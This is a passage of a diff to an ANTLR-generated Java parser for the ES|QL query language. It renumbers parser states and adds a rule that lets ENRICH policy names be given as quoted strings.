-        setState(407);
+        setState(409);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,25,_ctx);
       }
@@ -2990,28 +2990,28 @@ public final RenameClauseContext renameClause() throws RecognitionException {
     RenameClauseContext _localctx = new RenameClauseContext(_ctx, getState());
     enterRule(_localctx, 76, RULE_renameClause);
     try {
-      setState(416);
+      setState(418);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,26,_ctx) ) {
       case 1:
         enterOuterAlt(_localctx, 1);
         {
-        setState(408);
+        setState(410);
         ((RenameClauseContext)_localctx).oldName = qualifiedNamePattern();
-        setState(409);
+        setState(411);
         match(AS);
-        setState(410);
+        setState(412);
         ((RenameClauseContext)_localctx).newName = qualifiedNamePattern();
         }
         break;
       case 2:
         enterOuterAlt(_localctx, 2);
         {
-        setState(412);
+        setState(414);
         ((RenameClauseContext)_localctx).newName = qualifiedNamePattern();
-        setState(413);
+        setState(415);
         match(ASSIGN);
-        setState(414);
+        setState(416);
         ((RenameClauseContext)_localctx).oldName = qualifiedNamePattern();
         }
         break;
@@ -3066,18 +3066,18 @@ public final DissectCommandContext dissectCommand() throws RecognitionException
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(418);
+      setState(420);
       match(DISSECT);
-      setState(419);
+      setState(421);
       primaryExpression(0);
-      setState(420);
-      string();
       setState(422);
+      string();
+      setState(424);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,27,_ctx) ) {
       case 1:
         {
-        setState(421);
+        setState(423);
         commandOptions();
         }
         break;
@@ -3130,11 +3130,11 @@ public final GrokCommandContext grokCommand() throws RecognitionException {
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(424);
+      setState(426);
       match(GROK);
-      setState(425);
+      setState(427);
       primaryExpression(0);
-      setState(426);
+      setState(428);
       string();
       }
     }
@@ -3181,9 +3181,9 @@ public final MvExpandCommandContext mvExpandCommand() throws RecognitionExceptio
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(428);
+      setState(430);
       match(MV_EXPAND);
-      setState(429);
+      setState(431);
       qualifiedName();
       }
     }
@@ -3237,23 +3237,23 @@ public final CommandOptionsContext commandOptions() throws RecognitionException
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(431);
+      setState(433);
       commandOption();
-      setState(436);
+      setState(438);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,28,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
         if ( _alt==1 ) {
           {
           {
-          setState(432);
+          setState(434);
           match(COMMA);
-          setState(433);
+          setState(435);
           commandOption();
           }
           } 
         }
-        setState(438);
+        setState(440);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,28,_ctx);
       }
@@ -3305,11 +3305,11 @@ public final CommandOptionContext commandOption() throws RecognitionException {
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(439);
+      setState(441);
       identifier();
-      setState(440);
+      setState(442);
       match(ASSIGN);
-      setState(441);
+      setState(443);
       constant();
       }
     }
@@ -3356,9 +3356,9 @@ public final ExplainCommandContext explainCommand() throws RecognitionException
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(443);
+      setState(445);
       match(DEV_EXPLAIN);
-      setState(444);
+      setState(446);
       subqueryExpression();
       }
     }
@@ -3406,11 +3406,11 @@ public final SubqueryExpressionContext subqueryExpression() throws RecognitionEx
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(446);
+      setState(448);
       match(LP);
-      setState(447);
+      setState(449);
       query(0);
-      setState(448);
+      setState(450);
       match(RP);
       }
     }
@@ -3467,9 +3467,9 @@ public final ShowCommandContext showCommand() throws RecognitionException {
       _localctx = new ShowInfoContext(_localctx);
       enterOuterAlt(_localctx, 1);
       {
-      setState(450);
+      setState(452);
       match(SHOW);
-      setState(451);
+      setState(453);
       match(INFO);
       }
     }
@@ -3486,10 +3486,12 @@ public final ShowCommandContext showCommand() throws RecognitionException {
 
   @SuppressWarnings("CheckReturnValue")
   public static class EnrichCommandContext extends ParserRuleContext {
-    public Token policyName;
+    public EnrichPolicyNameContext policyName;
     public QualifiedNamePatternContext matchField;
     public TerminalNode ENRICH() { return getToken(EsqlBaseParser.ENRICH, 0); }
-    public TerminalNode ENRICH_POLICY_NAME() { return getToken(EsqlBaseParser.ENRICH_POLICY_NAME, 0); }
+    public EnrichPolicyNameContext enrichPolicyName() {
+      return getRuleContext(EnrichPolicyNameContext.class,0);
+    }
     public TerminalNode ON() { return getToken(EsqlBaseParser.ON, 0); }
     public TerminalNode WITH() { return getToken(EsqlBaseParser.WITH, 0); }
     public List<EnrichWithClauseContext> enrichWithClause() {
@@ -3532,46 +3534,46 @@ public final EnrichCommandContext enrichCommand() throws RecognitionException {
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(453);
+      setState(455);
       match(ENRICH);
-      setState(454);
-      ((EnrichCommandContext)_localctx).policyName = match(ENRICH_POLICY_NAME);
-      setState(457);
+      setState(456);
+      ((EnrichCommandContext)_localctx).policyName = enrichPolicyName();
+      setState(459);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,29,_ctx) ) {
       case 1:
         {
-        setState(455);
+        setState(457);
         match(ON);
-        setState(456);
+        setState(458);
         ((EnrichCommandContext)_localctx).matchField = qualifiedNamePattern();
         }
         break;
       }
-      setState(468);
+      setState(470);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,31,_ctx) ) {
       case 1:
         {
-        setState(459);
+        setState(461);
         match(WITH);
-        setState(460);
+        setState(462);
         enrichWithClause();
-        setState(465);
+        setState(467);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,30,_ctx);
         while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
           if ( _alt==1 ) {
             {
             {
-            setState(461);
+            setState(463);
             match(COMMA);
-            setState(462);
+            setState(464);
             enrichWithClause();
             }
             } 
           }
-          setState(467);
+          setState(469);
           _errHandler.sync(this);
           _alt = getInterpreter().adaptivePredict(_input,30,_ctx);
         }
@@ -3591,6 +3593,60 @@ public final EnrichCommandContext enrichCommand() throws RecognitionException {
     return _localctx;
   }
 
+  @SuppressWarnings("CheckReturnValue")
+  public static class EnrichPolicyNameContext extends ParserRuleContext {
+    public TerminalNode ENRICH_POLICY_NAME() { return getToken(EsqlBaseParser.ENRICH_POLICY_NAME, 0); }
+    public TerminalNode QUOTED_STRING() { return getToken(EsqlBaseParser.QUOTED_STRING, 0); }
+    @SuppressWarnings("this-escape")
+    public EnrichPolicyNameContext(ParserRuleContext parent, int invokingState) {
+      super(parent, invokingState);
+    }
+    @Override public int getRuleIndex() { return RULE_enrichPolicyName; }
+    @Override
+    public void enterRule(ParseTreeListener listener) {
+      if ( listener instanceof EsqlBaseParserListener ) ((EsqlBaseParserListener)listener).enterEnrichPolicyName(this);
+    }
+    @Override
+    public void exitRule(ParseTreeListener listener) {
+      if ( listener instanceof EsqlBaseParserListener ) ((EsqlBaseParserListener)listener).exitEnrichPolicyName(this);
+    }
+    @Override
+    public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
+      if ( visitor instanceof EsqlBaseParserVisitor ) return ((EsqlBaseParserVisitor<? extends T>)visitor).visitEnrichPolicyName(this);
+      else return visitor.visitChildren(this);
+    }
+  }
+
+  public final EnrichPolicyNameContext enrichPolicyName() throws RecognitionException {
+    EnrichPolicyNameContext _localctx = new EnrichPolicyNameContext(_ctx, getState());
+    enterRule(_localctx, 96, RULE_enrichPolicyName);
+    int _la;
+    try {
+      enterOuterAlt(_localctx, 1);
+      {
+      setState(472);
+      _la = _input.LA(1);
+      if ( !(_la==ENRICH_POLICY_NAME || _la==QUOTED_STRING) ) {
+      _errHandler.recoverInline(this);
+      }
+      else {
+        if ( _input.LA(1)==Token.EOF ) matchedEOF = true;
+        _errHandler.reportMatch(this);
+        consume();
+      }
+      }
+    }
+    catch (RecognitionException re) {
+      _localctx.exception = re;
+      _errHandler.reportError(this, re);
+      _errHandler.recover(this, re);
+    }
+    finally {
+      exitRule();
+    }
+    return _localctx;
+  }
+
   @SuppressWarnings("CheckReturnValue")
   public static class EnrichWithClauseContext extends ParserRuleContext {
     public QualifiedNamePatternContext newName;
@@ -3624,23 +3680,23 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final EnrichWithClauseContext enrichWithClause() throws RecognitionException {
     EnrichWithClauseContext _localctx = new EnrichWithClauseContext(_ctx, getState());
-    enterRule(_localctx, 96, RULE_enrichWithClause);
+    enterRule(_localctx, 98, RULE_enrichWithClause);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(473);
+      setState(477);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,32,_ctx) ) {
       case 1:
         {
-        setState(470);
+        setState(474);
         ((EnrichWithClauseContext)_localctx).newName = qualifiedNamePattern();
-        setState(471);
+        setState(475);
         match(ASSIGN);
         }
         break;
       }
-      setState(475);
+      setState(479);
       ((EnrichWithClauseContext)_localctx).enrichField = qualifiedNamePattern();
       }
     }
@@ -3684,13 +3740,13 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final SampleCommandContext sampleCommand() throws RecognitionException {
     SampleCommandContext _localctx = new SampleCommandContext(_ctx, getState());
-    enterRule(_localctx, 98, RULE_sampleCommand);
+    enterRule(_localctx, 100, RULE_sampleCommand);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(477);
+      setState(481);
       match(SAMPLE);
-      setState(478);
+      setState(482);
       ((SampleCommandContext)_localctx).probability = constant();
       }
     }
@@ -3739,17 +3795,17 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final LookupCommandContext lookupCommand() throws RecognitionException {
     LookupCommandContext _localctx = new LookupCommandContext(_ctx, getState());
-    enterRule(_localctx, 100, RULE_lookupCommand);
+    enterRule(_localctx, 102, RULE_lookupCommand);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(480);
+      setState(484);
       match(DEV_LOOKUP);
-      setState(481);
+      setState(485);
       ((LookupCommandContext)_localctx).tableName = indexPattern();
-      setState(482);
+      setState(486);
       match(ON);
-      setState(483);
+      setState(487);
       ((LookupCommandContext)_localctx).matchFields = qualifiedNamePatterns();
       }
     }
@@ -3798,22 +3854,22 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final InlinestatsCommandContext inlinestatsCommand() throws RecognitionException {
     InlinestatsCommandContext _localctx = new InlinestatsCommandContext(_ctx, getState());
-    enterRule(_localctx, 102, RULE_inlinestatsCommand);
+    enterRule(_localctx, 104, RULE_inlinestatsCommand);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(485);
+      setState(489);
       match(DEV_INLINESTATS);
-      setState(486);
+      setState(490);
       ((InlinestatsCommandContext)_localctx).stats = aggFields();
-      setState(489);
+      setState(493);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,33,_ctx) ) {
       case 1:
         {
-        setState(487);
+        setState(491);
         match(BY);
-        setState(488);
+        setState(492);
         ((InlinestatsCommandContext)_localctx).grouping = fields();
         }
         break;
@@ -3869,38 +3925,38 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final ChangePointCommandContext changePointCommand() throws RecognitionException {
     ChangePointCommandContext _localctx = new ChangePointCommandContext(_ctx, getState());
-    enterRule(_localctx, 104, RULE_changePointCommand);
+    enterRule(_localctx, 106, RULE_changePointCommand);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(491);
+      setState(495);
       match(CHANGE_POINT);
-      setState(492);
+      setState(496);
       ((ChangePointCommandContext)_localctx).value = qualifiedName();
-      setState(495);
+      setState(499);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,34,_ctx) ) {
       case 1:
         {
-        setState(493);
+        setState(497);
         match(ON);
-        setState(494);
+        setState(498);
         ((ChangePointCommandContext)_localctx).key = qualifiedName();
         }
         break;
       }
-      setState(502);
+      setState(506);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,35,_ctx) ) {
       case 1:
         {
-        setState(497);
+        setState(501);
         match(AS);
-        setState(498);
+        setState(502);
         ((ChangePointCommandContext)_localctx).targetType = qualifiedName();
-        setState(499);
+        setState(503);
         match(COMMA);
-        setState(500);
+        setState(504);
         ((ChangePointCommandContext)_localctx).targetPvalue = qualifiedName();
         }
         break;
@@ -3946,13 +4002,13 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final InsistCommandContext insistCommand() throws RecognitionException {
     InsistCommandContext _localctx = new InsistCommandContext(_ctx, getState());
-    enterRule(_localctx, 106, RULE_insistCommand);
+    enterRule(_localctx, 108, RULE_insistCommand);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(504);
+      setState(508);
       match(DEV_INSIST);
-      setState(505);
+      setState(509);
       qualifiedNamePatterns();
       }
     }
@@ -3995,13 +4051,13 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final ForkCommandContext forkCommand() throws RecognitionException {
     ForkCommandContext _localctx = new ForkCommandContext(_ctx, getState());
-    enterRule(_localctx, 108, RULE_forkCommand);
+    enterRule(_localctx, 110, RULE_forkCommand);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(507);
+      setState(511);
       match(FORK);
-      setState(508);
+      setState(512);
       forkSubQueries();
       }
     }
@@ -4046,12 +4102,12 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final ForkSubQueriesContext forkSubQueries() throws RecognitionException {
     ForkSubQueriesContext _localctx = new ForkSubQueriesContext(_ctx, getState());
-    enterRule(_localctx, 110, RULE_forkSubQueries);
+    enterRule(_localctx, 112, RULE_forkSubQueries);
     try {
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(511); 
+      setState(515); 
       _errHandler.sync(this);
       _alt = 1;
       do {
@@ -4059,7 +4115,7 @@ public final ForkSubQueriesContext forkSubQueries() throws RecognitionException
         case 1:
           {
           {
-          setState(510);
+          setState(514);
           forkSubQuery();
           }
           }
@@ -4067,7 +4123,7 @@ public final ForkSubQueriesContext forkSubQueries() throws RecognitionException
         default:
           throw new NoViableAltException(this);
         }
-        setState(513); 
+        setState(517); 
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,36,_ctx);
       } while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER );
@@ -4113,15 +4169,15 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final ForkSubQueryContext forkSubQuery() throws RecognitionException {
     ForkSubQueryContext _localctx = new ForkSubQueryContext(_ctx, getState());
-    enterRule(_localctx, 112, RULE_forkSubQuery);
+    enterRule(_localctx, 114, RULE_forkSubQuery);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(515);
+      setState(519);
       match(LP);
-      setState(516);
+      setState(520);
       forkSubQueryCommand(0);
-      setState(517);
+      setState(521);
       match(RP);
       }
     }
@@ -4206,8 +4262,8 @@ private ForkSubQueryCommandContext forkSubQueryCommand(int _p) throws Recognitio
     int _parentState = getState();
     ForkSubQueryCommandContext _localctx = new ForkSubQueryCommandContext(_ctx, _parentState);
     ForkSubQueryCommandContext _prevctx = _localctx;
-    int _startState = 114;
-    enterRecursionRule(_localctx, 114, RULE_forkSubQueryCommand, _p);
+    int _startState = 116;
+    enterRecursionRule(_localctx, 116, RULE_forkSubQueryCommand, _p);
     try {
       int _alt;
       enterOuterAlt(_localctx, 1);
@@ -4217,11 +4273,11 @@ private ForkSubQueryCommandContext forkSubQueryCommand(int _p) throws Recognitio
       _ctx = _localctx;
       _prevctx = _localctx;
 
-      setState(520);
+      setState(524);
       forkSubQueryProcessingCommand();
       }
       _ctx.stop = _input.LT(-1);
-      setState(527);
+      setState(531);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,37,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
@@ -4232,16 +4288,16 @@ private ForkSubQueryCommandContext forkSubQueryCommand(int _p) throws Recognitio
           {
           _localctx = new CompositeForkSubQueryContext(new ForkSubQueryCommandContext(_parentctx, _parentState));
           pushNewRecursionContext(_localctx, _startState, RULE_forkSubQueryCommand);
-          setState(522);
+          setState(526);
           if (!(precpred(_ctx, 1))) throw new FailedPredicateException(this, "precpred(_ctx, 1)");
-          setState(523);
+          setState(527);
           match(PIPE);
-          setState(524);
+          setState(528);
           forkSubQueryProcessingCommand();
           }
           } 
         }
-        setState(529);
+        setState(533);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,37,_ctx);
       }
@@ -4285,11 +4341,11 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final ForkSubQueryProcessingCommandContext forkSubQueryProcessingCommand() throws RecognitionException {
     ForkSubQueryProcessingCommandContext _localctx = new ForkSubQueryProcessingCommandContext(_ctx, getState());
-    enterRule(_localctx, 116, RULE_forkSubQueryProcessingCommand);
+    enterRule(_localctx, 118, RULE_forkSubQueryProcessingCommand);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(530);
+      setState(534);
       processingCommand();
       }
     }
@@ -4329,11 +4385,11 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final RrfCommandContext rrfCommand() throws RecognitionException {
     RrfCommandContext _localctx = new RrfCommandContext(_ctx, getState());
-    enterRule(_localctx, 118, RULE_rrfCommand);
+    enterRule(_localctx, 120, RULE_rrfCommand);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(532);
+      setState(536);
       match(DEV_RRF);
       }
     }
@@ -4382,28 +4438,28 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final InferenceCommandOptionsContext inferenceCommandOptions() throws RecognitionException {
     InferenceCommandOptionsContext _localctx = new InferenceCommandOptionsContext(_ctx, getState());
-    enterRule(_localctx, 120, RULE_inferenceCommandOptions);
+    enterRule(_localctx, 122, RULE_inferenceCommandOptions);
     try {
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(534);
+      setState(538);
       inferenceCommandOption();
-      setState(539);
+      setState(543);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,38,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
         if ( _alt==1 ) {
           {
           {
-          setState(535);
+          setState(539);
           match(COMMA);
-          setState(536);
+          setState(540);
           inferenceCommandOption();
           }
           } 
         }
-        setState(541);
+        setState(545);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,38,_ctx);
       }
@@ -4451,15 +4507,15 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final InferenceCommandOptionContext inferenceCommandOption() throws RecognitionException {
     InferenceCommandOptionContext _localctx = new InferenceCommandOptionContext(_ctx, getState());
-    enterRule(_localctx, 122, RULE_inferenceCommandOption);
+    enterRule(_localctx, 124, RULE_inferenceCommandOption);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(542);
+      setState(546);
       identifier();
-      setState(543);
+      setState(547);
       match(ASSIGN);
-      setState(544);
+      setState(548);
       inferenceCommandOptionValue();
       }
     }
@@ -4504,9 +4560,9 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final InferenceCommandOptionValueContext inferenceCommandOptionValue() throws RecognitionException {
     InferenceCommandOptionValueContext _localctx = new InferenceCommandOptionValueContext(_ctx, getState());
-    enterRule(_localctx, 124, RULE_inferenceCommandOptionValue);
+    enterRule(_localctx, 126, RULE_inferenceCommandOptionValue);
     try {
-      setState(548);
+      setState(552);
       _errHandler.sync(this);
       switch (_input.LA(1)) {
       case QUOTED_STRING:
@@ -4522,7 +4578,7 @@ public final InferenceCommandOptionValueContext inferenceCommandOptionValue() th
       case OPENING_BRACKET:
         enterOuterAlt(_localctx, 1);
         {
-        setState(546);
+        setState(550);
         constant();
         }
         break;
@@ -4530,7 +4586,7 @@ public final InferenceCommandOptionValueContext inferenceCommandOptionValue() th
       case QUOTED_IDENTIFIER:
         enterOuterAlt(_localctx, 2);
         {
-        setState(547);
+        setState(551);
         identifier();
         }
         break;
@@ -4586,26 +4642,26 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final RerankCommandContext rerankCommand() throws RecognitionException {
     RerankCommandContext _localctx = new RerankCommandContext(_ctx, getState());
-    enterRule(_localctx, 126, RULE_rerankCommand);
+    enterRule(_localctx, 128, RULE_rerankCommand);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(550);
+      setState(554);
       match(DEV_RERANK);
-      setState(551);
+      setState(555);
       ((RerankCommandContext)_localctx).queryText = constant();
-      setState(552);
+      setState(556);
       match(ON);
-      setState(553);
+      setState(557);
       rerankFields();
-      setState(556);
+      setState(560);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,40,_ctx) ) {
       case 1:
         {
-        setState(554);
+        setState(558);
         match(WITH);
-        setState(555);
+        setState(559);
         inferenceCommandOptions();
         }
         break;
@@ -4662,29 +4718,29 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final CompletionCommandContext completionCommand() throws RecognitionException {
     CompletionCommandContext _localctx = new CompletionCommandContext(_ctx, getState());
-    enterRule(_localctx, 128, RULE_completionCommand);
+    enterRule(_localctx, 130, RULE_completionCommand);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(558);
-      match(COMPLETION);
       setState(562);
+      match(COMPLETION);
+      setState(566);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,41,_ctx) ) {
       case 1:
         {
-        setState(559);
+        setState(563);
         ((CompletionCommandContext)_localctx).targetField = qualifiedName();
-        setState(560);
+        setState(564);
         match(ASSIGN);
         }
         break;
       }
-      setState(564);
+      setState(568);
       ((CompletionCommandContext)_localctx).prompt = primaryExpression(0);
-      setState(565);
+      setState(569);
       match(WITH);
-      setState(566);
+      setState(570);
       ((CompletionCommandContext)_localctx).inferenceId = identifierOrParameter();
       }
     }
@@ -4893,14 +4949,14 @@ private BooleanExpressionContext booleanExpression(int _p) throws RecognitionExc
     int _parentState = getState();
     BooleanExpressionContext _localctx = new BooleanExpressionContext(_ctx, _parentState);
     BooleanExpressionContext _prevctx = _localctx;
-    int _startState = 130;
-    enterRecursionRule(_localctx, 130, RULE_booleanExpression, _p);
+    int _startState = 132;
+    enterRecursionRule(_localctx, 132, RULE_booleanExpression, _p);
     int _la;
     try {
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(597);
+      setState(601);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,45,_ctx) ) {
       case 1:
@@ -4909,9 +4965,9 @@ private BooleanExpressionContext booleanExpression(int _p) throws RecognitionExc
         _ctx = _localctx;
         _prevctx = _localctx;
 
-        setState(569);
+        setState(573);
         match(NOT);
-        setState(570);
+        setState(574);
         booleanExpression(8);
         }
         break;
@@ -4920,7 +4976,7 @@ private BooleanExpressionContext booleanExpression(int _p) throws RecognitionExc
         _localctx = new BooleanDefaultContext(_localctx);
         _ctx = _localctx;
         _prevctx = _localctx;
-        setState(571);
+        setState(575);
         valueExpression();
         }
         break;
@@ -4929,7 +4985,7 @@ private BooleanExpressionContext booleanExpression(int _p) throws RecognitionExc
         _localctx = new RegexExpressionContext(_localctx);
         _ctx = _localctx;
         _prevctx = _localctx;
-        setState(572);
+        setState(576);
         regexBooleanExpression();
         }
         break;
@@ -4938,41 +4994,41 @@ private BooleanExpressionContext booleanExpression(int _p) throws RecognitionExc
         _localctx = new LogicalInContext(_localctx);
         _ctx = _localctx;
         _prevctx = _localctx;
-        setState(573);
+        setState(577);
         valueExpression();
-        setState(575);
+        setState(579);
         _errHandler.sync(this);
         _la = _input.LA(1);
         if (_la==NOT) {
           {
-          setState(574);
+          setState(578);
           match(NOT);
           }
         }
 
-        setState(577);
+        setState(581);
         match(IN);
-        setState(578);
+        setState(582);
         match(LP);
-        setState(579);
+        setState(583);
         valueExpression();
-        setState(584);
+        setState(588);
         _errHandler.sync(this);
         _la = _input.LA(1);
         while (_la==COMMA) {
           {
           {
-          setState(580);
+          setState(584);
           match(COMMA);
-          setState(581);
+          setState(585);
           valueExpression();
           }
           }
-          setState(586);
+          setState(590);
           _errHandler.sync(this);
           _la = _input.LA(1);
         }
-        setState(587);
+        setState(591);
         match(RP);
         }
         break;
@@ -4981,21 +5037,21 @@ private BooleanExpressionContext booleanExpression(int _p) throws RecognitionExc
         _localctx = new IsNullContext(_localctx);
         _ctx = _localctx;
         _prevctx = _localctx;
-        setState(589);
+        setState(593);
         valueExpression();
-        setState(590);
+        setState(594);
         match(IS);
-        setState(592);
+        setState(596);
         _errHandler.sync(this);
         _la = _input.LA(1);
         if (_la==NOT) {
           {
-          setState(591);
+          setState(595);
           match(NOT);
           }
         }
 
-        setState(594);
+        setState(598);
         match(NULL);
         }
         break;
@@ -5004,13 +5060,13 @@ private BooleanExpressionContext booleanExpression(int _p) throws RecognitionExc
         _localctx = new MatchExpressionContext(_localctx);
         _ctx = _localctx;
         _prevctx = _localctx;
-        setState(596);
+        setState(600);
         matchBooleanExpression();
         }
         break;
       }
       _ctx.stop = _input.LT(-1);
-      setState(607);
+      setState(611);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,47,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
@@ -5018,7 +5074,7 @@ private BooleanExpressionContext booleanExpression(int _p) throws RecognitionExc
           if ( _parseListeners!=null ) triggerExitRuleEvent();
           _prevctx = _localctx;
           {
-          setState(605);
+          setState(609);
           _errHandler.sync(this);
           switch ( getInterpreter().adaptivePredict(_input,46,_ctx) ) {
           case 1:
@@ -5026,11 +5082,11 @@ private BooleanExpressionContext booleanExpression(int _p) throws RecognitionExc
             _localctx = new LogicalBinaryContext(new BooleanExpressionContext(_parentctx, _parentState));
             ((LogicalBinaryContext)_localctx).left = _prevctx;
             pushNewRecursionContext(_localctx, _startState, RULE_booleanExpression);
-            setState(599);
+            setState(603);
             if (!(precpred(_ctx, 5))) throw new FailedPredicateException(this, "precpred(_ctx, 5)");
-            setState(600);
+            setState(604);
             ((LogicalBinaryContext)_localctx).operator = match(AND);
-            setState(601);
+            setState(605);
             ((LogicalBinaryContext)_localctx).right = booleanExpression(6);
             }
             break;
@@ -5039,18 +5095,18 @@ private BooleanExpressionContext booleanExpression(int _p) throws RecognitionExc
             _localctx = new LogicalBinaryContext(new BooleanExpressionContext(_parentctx, _parentState));
             ((LogicalBinaryContext)_localctx).left = _prevctx;
             pushNewRecursionContext(_localctx, _startState, RULE_booleanExpression);
-            setState(602);
+            setState(606);
             if (!(precpred(_ctx, 4))) throw new FailedPredicateException(this, "precpred(_ctx, 4)");
-            setState(603);
+            setState(607);
             ((LogicalBinaryContext)_localctx).operator = match(OR);
-            setState(604);
+            setState(608);
             ((LogicalBinaryContext)_localctx).right = booleanExpression(5);
             }
             break;
           }
           } 
         }
-        setState(609);
+        setState(613);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,47,_ctx);
       }
@@ -5171,31 +5227,31 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final RegexBooleanExpressionContext regexBooleanExpression() throws RecognitionException {
     RegexBooleanExpressionContext _localctx = new RegexBooleanExpressionContext(_ctx, getState());
-    enterRule(_localctx, 132, RULE_regexBooleanExpression);
+    enterRule(_localctx, 134, RULE_regexBooleanExpression);
     int _la;
     try {
-      setState(640);
+      setState(644);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,52,_ctx) ) {
       case 1:
         _localctx = new LikeExpressionContext(_localctx);
         enterOuterAlt(_localctx, 1);
         {
-        setState(610);
+        setState(614);
         valueExpression();
-        setState(612);
+        setState(616);
         _errHandler.sync(this);
         _la = _input.LA(1);
         if (_la==NOT) {
           {
-          setState(611);
+          setState(615);
           match(NOT);
           }
         }
 
-        setState(614);
+        setState(618);
         match(LIKE);
-        setState(615);
+        setState(619);
         string();
         }
         break;
@@ -5203,21 +5259,21 @@ public final RegexBooleanExpressionContext regexBooleanExpression() throws Recog
         _localctx = new RlikeExpressionContext(_localctx);
         enterOuterAlt(_localctx, 2);
         {
-        setState(617);
+        setState(621);
         valueExpression();
-        setState(619);
+        setState(623);
         _errHandler.sync(this);
         _la = _input.LA(1);
         if (_la==NOT) {
           {
-          setState(618);
+          setState(622);
           match(NOT);
           }
         }
 
-        setState(621);
+        setState(625);
         match(RLIKE);
-        setState(622);
+        setState(626);
         string();
         }
         break;
@@ -5225,41 +5281,41 @@ public final RegexBooleanExpressionContext regexBooleanExpression() throws Recog
         _localctx = new LikeListExpressionContext(_localctx);
         enterOuterAlt(_localctx, 3);
         {
-        setState(624);
+        setState(628);
         valueExpression();
-        setState(626);
+        setState(630);
         _errHandler.sync(this);
         _la = _input.LA(1);
         if (_la==NOT) {
           {
-          setState(625);
+          setState(629);
           match(NOT);
           }
         }
 
-        setState(628);
+        setState(632);
         match(LIKE);
-        setState(629);
+        setState(633);
         match(LP);
-        setState(630);
+        setState(634);
         string();
-        setState(635);
+        setState(639);
         _errHandler.sync(this);
         _la = _input.LA(1);
         while (_la==COMMA) {
           {
           {
-          setState(631);
+          setState(635);
           match(COMMA);
-          setState(632);
+          setState(636);
           string();
           }
           }
-          setState(637);
+          setState(641);
           _errHandler.sync(this);
           _la = _input.LA(1);
         }
-        setState(638);
